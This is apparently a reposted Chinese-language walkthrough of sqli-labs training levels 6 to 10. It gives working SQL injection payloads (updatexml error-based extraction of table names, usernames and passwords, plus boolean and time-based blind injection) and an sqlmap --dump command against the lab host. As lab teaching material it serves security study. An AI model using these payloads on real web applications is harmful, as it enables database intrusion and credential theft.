Less-6
-
第六关,通过判断,是双引号报错,再进行-- -注释;
id=6"-- -
-
进行报错注入,原理同上;
id=6" and updatexml(1,concat(1,database(),0x7e),1)-- -
id=6" and updatexml(1,concat(1,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)-- -
id=6" and updatexml(1,concat(1,(select column_name from information_schema.columns where table_name="users" limit 0,1),0x7e),1)-- -
id=6" and updatexml(1,concat(1,(select (username) from users limit 0,1),0x7e),1)-- -
id=6" and updatexml(1,concat(1,(select (password) from users limit 0,1),0x7e),1)-- -
Less-7
-
第七关,这边发现,没有回显,只有ture和false;这边通过判断发现单引号会报错,那么尝试注释,发现还是不行,说明没闭合,那就加括号尝试,发现'))-- -显示为ture
id=7'))-- -
-
这里只能用盲注,盲注有时间盲注和布尔盲注,这里使用布尔盲注进行测试
-
if(判断语句,1,0);if判断语句,ture则输出1,false则输出0;
id=7')) and if (substring(database(),1,1)="s",1=1,1=2)-- -
-
同理可以测出所有信息,这里就不一一测了,上sqlmap;sqlmap的安装教程自行百度
python sqlmap.py -u "http://ip:55209/Less-7/?id=7" --dump
Less-8
-
第八关 一开始还是先用单引号报错再注释,看能否闭合
-
找到注入点,进行注入测试,无回显,使用盲注
//数据库的第一个字符是 s
?id=8' and if (ascii(substring(database(),1,1))>114,1=1,1=2)-- -
-
同理就可以测出数据库名、表名、字段名、账户密码等,这里就直接用sqlmap跑出来;
Less-9
-
第九关 找注入
?id=1' and if (1=1,sleep(10),1=1)-- -
-
制定payload进行注入
?id=1' and if (ascii(substring(database(),1,1))>114,sleep(10),1=1)-- -
-
由此可以判断出数据库的名称、表名、字段名、账户密码等敏感信息,这里用sqlmap跑一下
Less-10
-
这里还是用老方法进行测试,无回显。用时间盲注测试找到payload
?id=1" and if(1=1,sleep(10),1=1)-- -
-
制作payload进行测试
//测出数据库名第一个ascii值为115;
?id=1" and if(ascii(substring(database(),1,1))>114,sleep(10),1=1)-- -
-
这里不一一测了,使用sqlmap跑一下
原文始发于微信公众号(SUMMER渗透学习):Sql-labs(6-10)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论